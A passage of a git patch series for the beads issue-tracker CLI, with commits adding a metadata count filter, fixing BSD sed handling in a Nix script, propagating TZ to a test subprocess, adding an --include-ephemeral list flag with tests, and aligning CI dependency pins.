"metadata_field"}, } { t.Run(tc.name, func(t *testing.T) { ts, _ := newReadServer(t, Config{}) diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index ed508c621..a8ac80f43 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -1945,6 +1945,17 @@ paths: schema: type: boolean default: false + - name: metadata_field + in: query + description: >- + Top-level metadata equality filter as `key=value`, split on the + first `=`. Repeatable. An invalid key is a 400. + style: form + explode: true + schema: + type: array + items: + type: string - name: include_infra in: query description: >- @@ -2011,15 +2022,16 @@ paths: description: >- Invalid request: an unknown query parameter, a repeated single-valued one, a malformed boolean, integer or RFC 3339 instant, - or a `group_by` outside the closed set. + a malformed `metadata_field`, or a `group_by` outside the closed + set. - EVERY REFUSAL HERE IS THE TRANSPORT'S. Unlike the listings, this - operation has no predicate its library surface can turn down: an - unrecognized `status` or `type` matches nothing and answers `0`, and - the one refusal the count role does make — an unknown bucketing - dimension — is refused at the edge above, so it never reaches the - role at all. + A malformed `metadata_field` shape and an unknown `group_by` are + transport refusals. An invalid metadata key passes query decoding, + then `BuildCountFilter` rejects it and `failReadErr` classifies the + role's error as a `400` on `metadata_field`. An unrecognized + `status` or `type` is not a refusal; it matches nothing and answers + `0`. x-bd-codes: [invalid_argument] content: application/problem+json: diff --git a/internal/workapi/count.go b/internal/workapi/count.go index 0d2453b15..5f17e769b 100644 --- a/internal/workapi/count.go +++ b/internal/workapi/count.go @@ -64,6 +64,12 @@ func BuildCountFilter(in issueops.CountRequest, cfg ListConfig) (types.IssueFilt PriorityMin: in.PriorityMin, PriorityMax: in.PriorityMax, } + if len(in.MetadataFields) > 0 { + filter.MetadataFields = in.MetadataFields + } + if err := ValidateMetadataFilters(in.MetadataFields, ""); err != nil { + return types.IssueFilter{}, err + } // Status and IssueType are taken as written. Neither is validated against // the workspace vocabulary: issueops.CountRequest promises an unrecognized diff --git a/internal/workapi/count_test.go b/internal/workapi/count_test.go index 0a85996cc..c0335e150 100644 --- a/internal/workapi/count_test.go +++ b/internal/workapi/count_test.go @@ -158,6 +158,21 @@ func TestBuildCountFilterNormalizesLabelsAndIDs(t *testing.T) { } } +func TestBuildCountFilterCarriesMetadataFields(t *testing.T) { + fields := map[string]string{"team": "platform", "env": "prod"} + got, err := BuildCountFilter(issueops.CountRequest{MetadataFields: fields}, ListConfig{}) + if err != nil { + t.Fatalf("BuildCountFilter: %v", err) + } + if !reflect.DeepEqual(got.MetadataFields, fields) { + t.Errorf("MetadataFields = %#v, want %#v", got.MetadataFields, fields) + } + + if _, err := BuildCountFilter(issueops.CountRequest{MetadataFields: map[string]string{"bad$key": "value"}}, ListConfig{}); err == nil { + t.Fatal("BuildCountFilter accepted an invalid metadata key") + } +} + // TestBuildCountFilterTakesStatusAndTypeAsWritten pins the deliberate absence // of validation: an unrecognized status or type reaches the filter as written // and matches nothing, rather than failing. A scripted caller counting a diff --git a/issueops/counter.go b/issueops/counter.go index 46771c484..ccdccdaa5 100644 --- a/issueops/counter.go +++ b/issueops/counter.go @@ -92,6 +92,8 @@ type CountRequest struct { TitleContains string DescContains string NotesContains string + // MetadataFields requires equality for every top-level key/value pair. + MetadataFields map[string]string CreatedAfter *time.Time CreatedBefore *time.Time From a4afdef4581808ab0337a654a80f9d58af9eee64 Mon Sep 17 00:00:00 2001 From: Karel Bourgois Date: Thu, 3 Sep 2026 02:33:58 +0200 Subject: [PATCH 017/624] fix(scripts): update-nix-vendorhash writes a stray default.nix'' on BSD sed (#6096) `SED_INPLACE="sed -i ''"` cannot carry an empty argument. After word-splitting, the two quote characters survive as a literal two-character argument, so BSD sed reads '' as the backup SUFFIX rather than as "no suffix" and writes `default.nix''` beside the real file on every macOS run. Reproduction (bash, macOS): echo 'vendorHash = "old";' > default.nix SED_INPLACE="sed -i ''" $SED_INPLACE "s|old|new|" default.nix ls # default.nix default.nix'' The stray is not ignored by .gitignore and carries the placeholder sha256-AAAA... hash the script sets in step 1, so a `git add -A` after running the script commits a file whose vendorHash can never validate. I hit exactly that on a resync. Fixed by branching at the call site in a function, where an empty argument is passed as a real argument instead of surviving word-splitting as text. Same detection, same two call sites, no behavior change on GNU sed. --- scripts/update-nix-vendorhash.sh | 27 +++++++++++++++++++-------- 1 file changed, 19 insertions(+), 8 deletions(-) diff --git a/scripts/update-nix-vendorhash.sh b/scripts/update-nix-vendorhash.sh index 0c0374982..d81c34fcc 100755 --- a/scripts/update-nix-vendorhash.sh +++ b/scripts/update-nix-vendorhash.sh @@ -120,15 +120,26 @@ FAKE_HASH="sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" # Backup the file cp default.nix default.nix.backup -# Detect sed version (GNU vs BSD) -if sed --version 2>/dev/null | grep -q "GNU sed"; then - SED_INPLACE="sed -i" -else - SED_INPLACE="sed -i ''" -fi +# Detect sed version (GNU vs BSD). BSD sed requires an explicit backup-suffix +# argument to -i; GNU sed must NOT be given one. +# +# This is a function rather than a SED_INPLACE string because a string cannot +# carry an EMPTY argument. After `SED_INPLACE="sed -i ''"` is word-split the two +# quote characters survive as a literal argument, so BSD sed reads '' as the +# backup SUFFIX and writes `default.nix''` beside the real file on every macOS +# run. Nothing ignores that stray, and it holds the placeholder +# sha256-AAAA... hash, so a `git add -A` can commit a vendorHash that never +# validates. +sed_inplace() { + if sed --version 2>/dev/null | grep -q "GNU sed"; then + sed -i "$@" + else + sed -i '' "$@" + fi +} # Update to fake hash -$SED_INPLACE "s|vendorHash = \".*\";|vendorHash = \"$FAKE_HASH\";|" default.nix +sed_inplace "s|vendorHash = \".*\";|vendorHash = \"$FAKE_HASH\";|" default.nix # Step 2: Run nix build and capture the error log_info "Building to get actual hash (this will fail intentionally)..." @@ -171,7 +182,7 @@ log_success "Extracted actual hash: $ACTUAL_HASH" # Step 4: Update default.nix with the correct hash log_info "Updating default.nix with correct hash..." -$SED_INPLACE "s|vendorHash = \".*\";|vendorHash = \"$ACTUAL_HASH\";|" default.nix +sed_inplace "s|vendorHash = \".*\";|vendorHash = \"$ACTUAL_HASH\";|" default.nix # Remove backup rm default.nix.backup From b396366151e8abcf80056f6674c1498eefb63a7c Mon Sep 17 00:00:00 2001 From: Karel Bourgois Date: Thu, 3 Sep 2026 02:34:01 +0200 Subject: [PATCH 018/624] test(protocol): propagate TZ to the bd subprocess (#6097) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit TestProtocol_FieldsRoundTrip fails on any machine whose TZ differs from its system zone: roundtrip_test.go:99: field "due_at" = "2099-03-14T23:00:00Z", want prefix "2099-03-15" roundtrip_test.go:100: field "defer_until" = "2099-01-14T23:00:00Z", want prefix "2099-01-15" workspace.env() builds a WHITELIST environment for the bd child (PATH, HOME, GIT_CONFIG_NOSYSTEM, BEADS_TEST_MODE, BD_DISABLE_METRICS, optionally BEADS_DOLT_PORT and TMPDIR). TZ is not on it, so the child inherits none and its time.Local falls back to /etc/localtime, while the TEST process uses its own TZ. The assertion computes its expectation from the PARENT's time.Local: dueLocal, _ := time.ParseInLocation("2006-01-02", "2099-03-15", time.Local) assertFieldPrefix(t, issue, "due_at", dueLocal.UTC().Format("2006-01-02")) and compares it to a value the CHILD produced, so the two disagree whenever the zones differ. Reproduced on macOS with a Europe/Paris system zone and TZ=UTC: the parent expects 2099-03-15, the child stores local midnight in Paris and the UTC form is 2099-03-14T23:00:00Z. Not a product defect — date-only input parsed as local midnight and stored as UTC is the documented behavior, and both processes implement it correctly. They simply disagree about which zone is local. CI does not see it because its runners have TZ unset AND a UTC system zone, so both sides agree by accident. Fixed by propagating TZ into the child env, so the two share one notion of local. Verified on a Europe/Paris system zone: the test fails on main under TZ=UTC and passes with this change under TZ=UTC, TZ=Europe/Paris and TZ=America/Los_Angeles (the west-of-UTC case the assertion's comment calls out). --- cmd/bd/protocol/helpers_test.go | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/cmd/bd/protocol/helpers_test.go b/cmd/bd/protocol/helpers_test.go index 32b99ac39..e69c4b704 100644 --- a/cmd/bd/protocol/helpers_test.go +++ b/cmd/bd/protocol/helpers_test.go @@ -236,6 +236,18 @@ func (w *workspace) env() []string { if v := os.Getenv("TMPDIR"); v != "" { env = append(env, "TMPDIR="+v) } + // TZ must reach the child. This env is a whitelist, so without this the bd + // subprocess inherits no TZ and its time.Local falls back to + // /etc/localtime, while the TEST process uses its own TZ. Assertions that + // compute an expectation from the parent's time.Local and compare it to a + // value the child produced then disagree whenever the two zones differ — + // see TestProtocol_FieldsRoundTrip, which parses a date-only due_at in + // time.Local and asserts the stored UTC day. CI passes only because its + // runners have TZ unset AND a UTC system zone, so both sides agree by + // accident. + if v := os.Getenv("TZ"); v != "" { + env = append(env, "TZ="+v) + } return env } From cbf84cb1c007dfcb2beb7d64f795e1ba8b76ed17 Mon Sep 17 00:00:00 2001 From: Karel Bourgois Date: Thu, 3 Sep 2026 02:34:05 +0200 Subject: [PATCH 019/624] =?UTF-8?q?fix(cli):=20`bd=20list=20--wisp-type`?= =?UTF-8?q?=20cannot=20match=20a=20row=20=E2=80=94=20register=20the=20plan?= =?UTF-8?q?e=20knob=20it=20needs=20(#6098)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `bd list --wisp-type heartbeat` returns an empty listing for EVERY input, and `bd list` exposes no flag that changes that. ListRequest.WispType is a predicate, not a plane selector — its own doc says so, and RunReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt pins it. That contract is right and this does not touch it. The doc also names the way out: The combination that answers with rows is IncludeEphemeral (or IncludeInfra) plus this, and it is lawful rather than refused. `bd list` registers neither `--include-ephemeral` nor `--all-types`. So of the two combinations the doc names, the CLI can express only IncludeInfra — which admits the plane AND lifts the infra-type exclusions AND changes the template treatment, three decisions a caller who wanted one classification did not ask for. The narrow knob the doc names FIRST has no flag at all. That is the whole defect: the API composes correctly, and the CLI is missing the other half of the pair. ## What this does 1. Registers `--include-ephemeral` on `bd list`, wired to `ListRequest.IncludeEphemeral` — the plane knob alone, off by default, so the default listing is byte-identical. 2. Refuses `--wisp-type` when no plane is admitted, with the fix in the hint, instead of printing an empty listing. The refusal is at the CLI layer ONLY. At the API layer the combination stays lawful and still composes to an empty page: that is the pinned contract, and a programmatic caller composing filters may legitimately land on it. A human typing `--wisp-type heartbeat` cannot have meant "prove to me that durable rows carry no classification", so the CLI is where the guess is safe to make. An explicit `--type` is deliberately left alone: an infra type routes to the plane by itself, so the request may well be satisfiable, and this layer cannot tell which types those are without loading the workspace's infra vocabulary. Refusing there would reject lawful, answerable requests. ## Verification --- PASS: TestListRegistersIncludeEphemeral --- PASS: TestGatherListInput_WispTypeWithoutAPlaneIsRefused --- PASS: TestGatherListInput_WispTypeWithAPlaneIsAccepted (3 subtests) --- PASS: TestGatherListInput_IncludeEphemeralReachesTheRequest The pair discriminates rather than being trivially green: a guard that refused every `--wisp-type` would pass the refusal test and fail all three acceptance subtests, one per route that admits the plane. `ok github.com/steveyegge/beads/cmd/bd`, `ok github.com/steveyegge/beads/internal/workapi`, `go build ./...` and `go vet` clean. `internal/workapi/list.go` and the golden corpus are untouched. docs/CLI_REFERENCE.md is not regenerated here: the docs pipeline builds from the release tag in docs/cli-docs.pin (v1.2.2), not from this checkout, so the new flag appears at the next release bump. Claude-Session: https://claude.ai/code/session_01X1jMLQTSrCwtzFRS1xeUC6 --- cmd/bd/list.go | 8 ++ cmd/bd/list_input.go | 23 ++++ cmd/bd/list_wisp_type_reachability_test.go | 130 +++++++++++++++++++++ 3 files changed, 161 insertions(+) create mode 100644 cmd/bd/list_wisp_type_reachability_test.go diff --git a/cmd/bd/list.go b/cmd/bd/list.go index c5e70ef59..d1c105be8 100644 --- a/cmd/bd/list.go +++ b/cmd/bd/list.go @@ -470,6 +470,14 @@ func init() { // Infra type filtering: exclude agent/role/message by default listCmd.Flags().Bool("include-infra", false, "Include infrastructure beads (agent/role/message) in output") + // Ephemeral plane: the wisps table is suppressed by default. This is the + // PLANE knob on its own — ListRequest.IncludeEphemeral — as distinct from + // --include-infra, which admits the plane AND lifts the infra-type + // exclusions above. Without it the plane is reachable from the CLI only + // through --include-infra's wider bundle, which leaves --wisp-type below + // with no narrow way to match anything. + listCmd.Flags().Bool("include-ephemeral", false, "Include ephemeral wisp-plane rows in output (normally hidden)") + // Explicit type exclusion listCmd.Flags().StringSlice("exclude-type", nil, "Exclude issue types from results (comma-separated or repeatable, e.g., --exclude-type=convoy,epic)") diff --git a/cmd/bd/list_input.go b/cmd/bd/list_input.go index 58c039d78..7d12e7c63 100644 --- a/cmd/bd/list_input.go +++ b/cmd/bd/list_input.go @@ -134,6 +134,7 @@ func gatherListInput(cmd *cobra.Command) (listInput, error) { in.IncludeTemplates, _ = cmd.Flags().GetBool("include-templates") in.IncludeGates, _ = cmd.Flags().GetBool("include-gates") in.IncludeInfra, _ = cmd.Flags().GetBool("include-infra") + in.IncludeEphemeral, _ = cmd.Flags().GetBool("include-ephemeral") in.ExcludeTypes, _ = cmd.Flags().GetStringSlice("exclude-type") in.ParentID, _ = cmd.Flags().GetString("parent") @@ -158,6 +159,28 @@ func gatherListInput(cmd *cobra.Command) (listInput, error) { return in, HandleError("invalid wisp-type %q (must be %s)", s, types.ValidWispTypeNames()) } in.WispType = &wt + + // wisp_type is a PREDICATE, not a plane selector (see + // issueops.ListRequest.WispType): it narrows whatever the rest of the + // request admitted. On a default listing that is the durable rows, + // which carry no classification — so this request cannot match a row + // for ANY input, and would report an empty listing rather than the + // unread plane that actually holds the answer. + // + // The request stays LAWFUL at the API layer, where composing to empty + // is the pinned contract. Refusing it belongs HERE, at the CLI, where + // the only thing a human can have meant is the combination that + // answers with rows. + // + // An explicit --type is left alone: an infra type routes to the plane + // by itself, so the request may be satisfiable and this cannot tell + // without the workspace's infra vocabulary, which this layer does not + // load. + if !in.IncludeEphemeral && !in.IncludeInfra && in.IssueType == "" { + return in, HandleErrorWithHint( + fmt.Sprintf("--wisp-type %s cannot match anything here: it filters the wisp_type column, and this listing admits only durable rows, which never carry one", s), + "add --include-ephemeral to admit the ephemeral plane (or --include-infra, which admits it as part of a wider bundle)") + } } in.DeferredFlag, _ = cmd.Flags().GetBool("deferred") diff --git a/cmd/bd/list_wisp_type_reachability_test.go b/cmd/bd/list_wisp_type_reachability_test.go new file mode 100644 index 000000000..20111859c --- /dev/null +++ b/cmd/bd/list_wisp_type_reachability_test.go @@ -0,0 +1,130 @@ +package main + +import ( + "strings" + "testing" + + "github.com/spf13/cobra" +) + +// newWispTypeInputCmd carries only the flags the --wisp-type reachability +// check reads. gatherListInput reads many others, but GetString / GetBool on +// an unregistered flag return zero values, so this stays minimal — the same +// shape as newListInputTestCmd. +func newWispTypeInputCmd() *cobra.Command { + cmd := &cobra.Command{Use: "list"} + f := cmd.Flags() + f.String("wisp-type", "", "") + f.Bool("include-ephemeral", false, "") + f.Bool("include-infra", false, "") + f.StringP("type", "t", "", "") + return cmd +} + +// TestListRegistersIncludeEphemeral pins the flag the guard below points at. +// +// It is the load-bearing half of this change: ListRequest.IncludeEphemeral is +// the plane knob its own doc names as the combination that answers with rows, +// and `bd list` did not register a flag for it. Without this the advice the +// guard prints names a flag that does not exist, which is worse than the +// silence it replaces. +func TestListRegistersIncludeEphemeral(t *testing.T) { + if listCmd.Flags().Lookup("include-ephemeral") == nil { + t.Fatal("bd list must register --include-ephemeral: it is the only narrow way to admit the wisp plane, and --wisp-type's error message tells callers to use it") + } +} + +// TestGatherListInput_WispTypeWithoutAPlaneIsRefused covers the request that +// cannot match a row for ANY input: wisp_type narrows whatever the rest of the +// request admitted, and a default listing admits only durable rows, which +// carry no classification. +// +// The API layer keeps composing this to an empty page — that is its pinned +// contract, and this does not touch it. The refusal is here, where the only +// thing a human can have meant is the combination that returns rows. +func TestGatherListInput_WispTypeWithoutAPlaneIsRefused(t *testing.T) { + defer func(prev bool) { jsonOutput = prev }(jsonOutput) + jsonOutput = false + + cmd := newWispTypeInputCmd() + if err := cmd.Flags().Set("wisp-type", "heartbeat"); err != nil { + t.Fatalf("set wisp-type: %v", err) + } + var err error + stderr := captureStderr(t, func() { _, err = gatherListInput(cmd) }) + if err == nil { + t.Fatal("--wisp-type with no plane knob cannot match any row and must be refused, got nil error") + } + // The message has to carry the way out, or it is just a different silence. + if !strings.Contains(stderr, "--include-ephemeral") { + t.Errorf("the refusal must name the flag that makes the request answerable; got:\n%s", stderr) + } +} + +// TestGatherListInput_WispTypeWithAPlaneIsAccepted is the discriminating half: +// a guard that refused everything would pass the test above on its own. Each +// case here admits the plane by a different route, and all must survive. +func TestGatherListInput_WispTypeWithAPlaneIsAccepted(t *testing.T) { + defer func(prev bool) { jsonOutput = prev }(jsonOutput) + jsonOutput = false + + for _, tc := range []struct { + name string + flag string + val string + }{ + {"the narrow plane knob", "include-ephemeral", "true"}, + {"the wider bundle that also admits it", "include-infra", "true"}, + // An explicit type is left alone: an infra type routes to the plane by + // itself, and this layer cannot tell which types those are without the + // workspace's infra vocabulary. Refusing here would reject a lawful, + // answerable request. + {"an explicit type, which may itself be infra", "type", "agent"}, + } { + t.Run(tc.name, func(t *testing.T) { + cmd := newWispTypeInputCmd() + if err := cmd.Flags().Set("wisp-type", "heartbeat"); err != nil { + t.Fatalf("set wisp-type: %v", err) + } + if err := cmd.Flags().Set(tc.flag, tc.val); err != nil { + t.Fatalf("set %s: %v", tc.flag, err) + } + in, err := gatherListInput(cmd) + if err != nil { + t.Fatalf("--wisp-type with --%s must be accepted, got: %v", tc.flag, err) + } + if in.WispType == nil || string(*in.WispType) != "heartbeat" { + t.Errorf("WispType must survive onto the request, got %v", in.WispType) + } + }) + } +} + +// TestGatherListInput_IncludeEphemeralReachesTheRequest confirms the new flag +// is wired through rather than merely registered — a flag that parses but is +// never read would leave the plane just as unreachable. +func TestGatherListInput_IncludeEphemeralReachesTheRequest(t *testing.T) { + defer func(prev bool) { jsonOutput = prev }(jsonOutput) + jsonOutput = false + + cmd := newWispTypeInputCmd() + if err := cmd.Flags().Set("include-ephemeral", "true"); err != nil { + t.Fatalf("set include-ephemeral: %v", err) + } + in, err := gatherListInput(cmd) + if err != nil { + t.Fatalf("gatherListInput: %v", err) + } + if !in.IncludeEphemeral { + t.Error("--include-ephemeral must set ListRequest.IncludeEphemeral, got false") + } + + // And the default stays off, so the durable-only listing is unchanged. + bare, err := gatherListInput(newWispTypeInputCmd()) + if err != nil { + t.Fatalf("gatherListInput (bare): %v", err) + } + if bare.IncludeEphemeral { + t.Error("IncludeEphemeral must default to false; the default listing is durable-only") + } +} From ea89b160fbf00c0ccf0da154a8d0cf690d00235e Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Wed, 2 Sep 2026 17:38:29 -0700 Subject: [PATCH 020/624] Align proxied-local-smoke Dolt CLI pin with measured 2.2.0 (refs be-egcj2.3) (#6002) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(feat): red — Align dolt-sql-server test container version with host DOLT_VERSION pin (refs be-egcj2.3) * feat: green — Align dolt-sql-server test container version with host DOLT_VERSION pin (refs be-egcj2.3) * chore(ci): retrigger CI after transient golangci-lint schema-fetch timeout (refs be-fjj0i) --- .github/workflows/proxied-local-smoke.yml | 6 ++++-- scripts/ci_workflow_test.go | 26 +++++++++++++++++++++++ 2 files changed, 30 insertions(+), 2 deletions(-) diff --git a/.github/workflows/proxied-local-smoke.yml b/.github/workflows/proxied-local-smoke.yml index 93a0eab2d..023f522e4 100644 --- a/.github/workflows/proxied-local-smoke.yml +++ b/.github/workflows/proxied-local-smoke.yml @@ -65,8 +65,10 @@ jobs: env: CGO_ENABLED: "1" # Pinned so the lane tests a known dolt CLI, not whatever the installer - # resolves on a given day. Bump deliberately. - DOLT_VERSION: 2.2.2 + # resolves on a given day. Bump deliberately, and only in lockstep with + # the measured pin in scripts/ci/install-dolt.sh (see "Which Dolt + # version to install" in docs/architecture/dolt.md). + DOLT_VERSION: 2.2.0 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 4e77edce3..b7570361a 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1328,6 +1328,32 @@ func TestPinnedDoltCLIMatchesContainerImage(t *testing.T) { } } +// TestProxiedLocalSmokeMatchesPinnedDoltVersion keeps the proxied-local-smoke +// lane's standalone Dolt CLI install on the same release as the rest of the +// suite. That lane downloads its own dolt binary straight from GitHub +// releases instead of going through scripts/ci/install-dolt.sh, so nothing +// else catches it drifting off the measured pin (see "Which Dolt version to +// install" in docs/architecture/dolt.md for why the pin is not just "latest"). +func TestProxiedLocalSmokeMatchesPinnedDoltVersion(t *testing.T) { + root := sourceRepoRoot(t) + + installer, err := os.ReadFile(filepath.Join(root, "scripts", "ci", "install-dolt.sh")) + if err != nil { + t.Fatal(err) + } + cliVersion := captureOne(t, `(?m)^readonly version="([0-9]+\.[0-9]+\.[0-9]+)"$`, string(installer), "scripts/ci/install-dolt.sh") + + workflow, err := os.ReadFile(filepath.Join(root, ".github", "workflows", "proxied-local-smoke.yml")) + if err != nil { + t.Fatal(err) + } + smokeVersion := captureOne(t, `(?m)^\s*DOLT_VERSION:\s*([0-9]+\.[0-9]+\.[0-9]+)\s*$`, string(workflow), "proxied-local-smoke.yml:DOLT_VERSION") + + if cliVersion != smokeVersion { + t.Errorf("dolt pins disagree: CLI %s, proxied-local-smoke.yml DOLT_VERSION %s", cliVersion, smokeVersion) + } +} + func captureOne(t *testing.T, pattern, body, source string) string { t.Helper() From 819ebd5e8e0c7b1d12b99453538bb7edb1b88f35 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 2 Sep 2026 17:41:12 -0700 Subject: [PATCH 021/624] chore(deps): bump DeterminateSystems/determinate-nix-action (#6042) Bumps the actions group with 1 update: [DeterminateSystems/determinate-nix-action](https://github.com/determinatesystems/determinate-nix-action). Updates `DeterminateSystems/determinate-nix-action` from 3.21.9 to 3.22.2 - [Release notes](https://github.com/determinatesystems/determinate-nix-action/releases) - [Commits](https://github.com/determinatesystems/determinate-nix-action/compare/61cbfe2efc2d4e7a8a6d56967c3c1058e846c858...527f17dd63d2d60d3e5552934bc84b9a33a14d11) --- updated-dependencies: - dependency-name: DeterminateSystems/determinate-nix-action dependency-version: 3.22.2 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: actions ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- .github/workflows/ci-measurements.yml | 2 +- .github/workflows/main.yml | 2 +- .github/workflows/nix-build.yml | 2 +- .github/workflows/pr-risk.yml | 2 +- .github/workflows/update-flake-lock.yml | 2 +- .github/workflows/update-vendor-hash.yml | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.github/workflows/ci-measurements.yml b/.github/workflows/ci-measurements.yml index 7d03311ba..1a19b137d 100644 --- a/.github/workflows/ci-measurements.yml +++ b/.github/workflows/ci-measurements.yml @@ -681,7 +681,7 @@ jobs: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - name: Install Nix - uses: DeterminateSystems/determinate-nix-action@61cbfe2efc2d4e7a8a6d56967c3c1058e846c858 # v3 + uses: DeterminateSystems/determinate-nix-action@527f17dd63d2d60d3e5552934bc84b9a33a14d11 # v3 - name: Measure commands run: | diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 4a5ce9684..33f6e1f30 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -1207,7 +1207,7 @@ jobs: timeout-minutes: 10 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - uses: DeterminateSystems/determinate-nix-action@61cbfe2efc2d4e7a8a6d56967c3c1058e846c858 # v3 + - uses: DeterminateSystems/determinate-nix-action@527f17dd63d2d60d3e5552934bc84b9a33a14d11 # v3 - name: Run bd help via Nix id: nix_help run: | diff --git a/.github/workflows/nix-build.yml b/.github/workflows/nix-build.yml index 4a181ee3b..a2da600e1 100644 --- a/.github/workflows/nix-build.yml +++ b/.github/workflows/nix-build.yml @@ -35,6 +35,6 @@ jobs: - name: Checkout repository uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - name: Install Nix - uses: DeterminateSystems/determinate-nix-action@61cbfe2efc2d4e7a8a6d56967c3c1058e846c858 # v3 + uses: DeterminateSystems/determinate-nix-action@527f17dd63d2d60d3e5552934bc84b9a33a14d11 # v3 - name: Build run: nix build .#default --print-build-logs diff --git a/.github/workflows/pr-risk.yml b/.github/workflows/pr-risk.yml index f640f65b2..9e9f1a7ec 100644 --- a/.github/workflows/pr-risk.yml +++ b/.github/workflows/pr-risk.yml @@ -425,7 +425,7 @@ jobs: timeout-minutes: 10 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - uses: DeterminateSystems/determinate-nix-action@61cbfe2efc2d4e7a8a6d56967c3c1058e846c858 # v3 + - uses: DeterminateSystems/determinate-nix-action@527f17dd63d2d60d3e5552934bc84b9a33a14d11 # v3 - name: Run bd help via Nix id: nix_help run: | diff --git a/.github/workflows/update-flake-lock.yml b/.github/workflows/update-flake-lock.yml index 8051941e9..2f6541f5e 100644 --- a/.github/workflows/update-flake-lock.yml +++ b/.github/workflows/update-flake-lock.yml @@ -30,7 +30,7 @@ jobs: token: ${{ steps.flake-token.outputs.token }} - name: Install Nix - uses: DeterminateSystems/determinate-nix-action@61cbfe2efc2d4e7a8a6d56967c3c1058e846c858 # v3 + uses: DeterminateSystems/determinate-nix-action@527f17dd63d2d60d3e5552934bc84b9a33a14d11 # v3 - name: Update flake.lock run: nix flake update diff --git a/.github/workflows/update-vendor-hash.yml b/.github/workflows/update-vendor-hash.yml index f9a35547d..edd5afd06 100644 --- a/.github/workflows/update-vendor-hash.yml +++ b/.github/workflows/update-vendor-hash.yml @@ -66,7 +66,7 @@ jobs: token: ${{ secrets.GITHUB_TOKEN }} - name: Install Nix - uses: DeterminateSystems/determinate-nix-action@61cbfe2efc2d4e7a8a6d56967c3c1058e846c858 # v3 + uses: DeterminateSystems/determinate-nix-action@527f17dd63d2d60d3e5552934bc84b9a33a14d11 # v3 - name: Capture pre-update vendorHash id: pre From 14fc79ab4ebc2deb441b8c22c118e36999edfe9d Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Wed, 2 Sep 2026 18:04:11 -0700 Subject: [PATCH 022/624] docs(release-gates): annotate be-tqwx gate record with be-mv0ww correction note (be-mv0ww.2) (#5890) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * docs: green — Annotate be-tqwx release-gate record with be-mv0ww correction note (do not rewrite verdict) (refs be-mv0ww.2) * chore: retrigger CI on be-pyt0d gate (be-y9rxv) PR Policy (wrapper timing) and Upgrade smoke (v1.2.2-rc.1 -> candidate) failed at ~21:20:3xZ due to a transient proxy.golang.org outage during the module-fetch phase (stream error: stream ID NNN; INTERNAL_ERROR), not a defect in the reviewed diff -- root-caused by beads/investigator, see be-y9rxv. No source changes; empty commit to get a clean CI run on the same content. --- ...-tqwx-schema-migrations-pool-poison-gate.md | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/release-gates/be-tqwx-schema-migrations-pool-poison-gate.md b/release-gates/be-tqwx-schema-migrations-pool-poison-gate.md index 234ce967e..9d6f3248c 100644 --- a/release-gates/be-tqwx-schema-migrations-pool-poison-gate.md +++ b/release-gates/be-tqwx-schema-migrations-pool-poison-gate.md @@ -290,3 +290,21 @@ reconciliation above). Per this rig's contributor-only carve-out for `gastownhall/beads`, the deployer's job ends here: no merge (`gh pr merge` is forbidden for all rig agents), no merge-request routed to mayor/mpr, no mayor handoff — mirroring be-tqwx's own precedent on this identical branch. + +## Correction note (added 2026-08-20) + +The original criterion 3 "Tests pass" PASS verdict near the top of this file +was based on a test run narrower than this project's required full-scope +command: a 9-test `-run` filter across only 2 of 3 relevant packages +(`internal/storage/dolt`, `internal/storage/schema`), never including +`internal/storage/uow`. A full-suite run on this same PR found 37 failing +tests across `internal/storage/schema` and `internal/storage/uow`. + +This gap and its fix are tracked in be-mv0ww (process fix: be-mv0ww.1, +currently open). See also the "Post-hoc annotation" section above, which +documents the same underlying finding from be-crwzj's investigation and +cites the parent epic be-mv0ww; this note adds the specific process-fix +sub-task id that epic tracks (be-mv0ww.1). Filed as be-mv0ww.2. + +This note does not change that original verdict — it documents that the +verdict was reached on incomplete evidence. From 851aa2f20ab7556c97f5650cf0976cd6a6946dd4 Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Wed, 2 Sep 2026 18:10:24 -0700 Subject: [PATCH 023/624] fix(deps): bump dolt/go past upstream manifest-missing-chunk defense (#4070) (#5931) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(deps): bump dolt/go past upstream manifest-missing-chunk defense (#4070) Pin github.com/dolthub/dolt/go to 796d074977417da931df65202a79e0a7f532a3db. That hop includes: - 23ccbf9442275166f168939277a5b4a348a63c9d — reject a file manifest update that references a missing table file (the defense itself) - 796d074977417da931df65202a79e0a7f532a3db — doc/test follow-up to the defense commit (no production-semantics change) A non-atomic backup sync can leave the backup manifest ahead of chunk files; subsequent syncs then fail with "table file not found" and stay broken. The upstream defense turns that silent corruption into a loud failed sync. Beads' previous pin (a6690826d767, 